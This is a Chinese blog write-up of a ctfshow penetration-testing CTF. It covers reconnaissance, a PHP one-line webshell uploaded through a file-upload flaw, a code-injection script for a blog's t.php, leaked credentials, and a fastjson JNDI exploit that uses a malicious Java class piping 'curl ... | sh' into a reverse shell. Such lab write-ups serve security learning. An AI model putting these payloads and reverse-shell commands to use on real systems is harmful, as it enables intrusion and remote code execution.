RealWorldCTF渗透赛第二期 (官方的wp梳理)

2023年3月10日15时ctfshow举办的线上渗透赛,当时没有做出来,后期根据官方wp,做一下总结梳理

靶场环境

渗透域名:https://i.am.ctfer.com

场景一:信息收集

在主页下方查看帮助点开在最下方发现一条疑似作者的信息

去github搜索一下,果然发现该站的源代码

Anonymous-Chat-Room/client/photo_upload.php 中发现了文件上传漏洞

getshell

利用这个漏洞,创建一句话木马并,编写python脚本

<?php eval($_POST[1]);?>
import requests

url ="https://i.am.ctfer.com/photo_upload.php"


files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}


response = requests.post(url=url,files=files)

print(response.text)

运行脚本,上传成功,并得到上传后的文件名

使用hackbar,post一个1=phpinfo();脚本可以被成功执行

使用蚁剑连接这个shell

成功连接

场景二:继续寻找敏感信息

在/var/www/html/login.php 中,发现一个敏感信息,是一个邮箱和一个密码

使用hacker_ctfshow@163.com / Hacker_ctfsh0w 去login.php登录一下(比赛当天因为各种原因,login.php未开放,无法访问)登陆到了网站后台管理页面,感觉可以利用的地方是上传头像的点,因为已经拿到了webshell,所以没有再上传文件。

去登陆邮箱hacker_ctfshow@163.com试试看,密码Hacker_ctfsh0w

登录成功,收件箱有一封入职通知的邮件,该邮件是加密的,尝试弱口令密码123456发现成功解密邮件内容,内容如下

根据邮件中的开发地址和登录key,登录到开发环境中,登陆后,发现xblog应用源码

利用vscode的终端功能,直接getshell提权,拿下该服务器

在www/xblog/c/t.php中$d存在逻辑问题,没有过滤带入了php文件,可以写马上传文件

场景三:继续getshell

邮件中还有其他信息,继续开发任务对应的测试版在 https://blog.ctfer.com

先登录/a/?log

根据indexphp中的实例,使用admin:123456成功登录并拿到cookie

参考wp编写的python脚本,修改cookie值并运行

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-09 11:05:32
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-09 11:38:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests



url = "https://blog.ctfer.com/c/t.php"

cookie={
        "PHPSESSID":"7ed6c788655d7c4a7a397d41331b5666"
}

data={
        "dat":'";eval($_POST[1]);?>',
        "title":"1",
        "content":"%20",
}

response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)

print(response.text)

回显得到文件名{"result":"ok","pid":1}

木马地址为/p/1.php

使用剑蚁连接

场景四:getshell后内网渗透

连接后打开终端ip addr show

使用ping联通测试,发现存活主机192.168.102.2

对102.2主机的开放端口进行测试,发现存在8090的fastjson端口

横向渗透

使用fastjson漏洞来实现rce,因为我没有vps,自己实验操作就到此为止了,下面的部分是ctfshow官方的wp

首先生成恶意class

public class ctfshow {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","curl https://your-shell.com/43.154.107.226:9999 |sh"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

vps挂恶意class

启动简单http服务

python3 -m http.server 3306

启动class

java -cp /home/ctfshow/tmp/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps地址:3306/#ctfshow.class" 3389

开启监听端口

nc -lvvnp 9999

x.json文件

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vps地址:3389/Exploit",
        "autoCommit":true
    }
}

a.sh文件

curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json

使用curl发送json包

vps成功获得反弹shell

资产梳理

序号

资产类型

域名

内网IP

权限

应用

1

Linux

i.am.ctfer.com

172.17.0.2/16

www-data

匿名聊天应用

2

敏感信息

mail.163.com

/

普通权限

可收发邮件

3

Linux

open.ctfer.com

/

root

开发环境

4

Linux

blog.ctfer.com

192.168.102.3

www-data

开发版blog应用

5

Linux

/

192.168.102.2

root

fastjson

共计5个场景,4台服务器,涉及4个域名

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值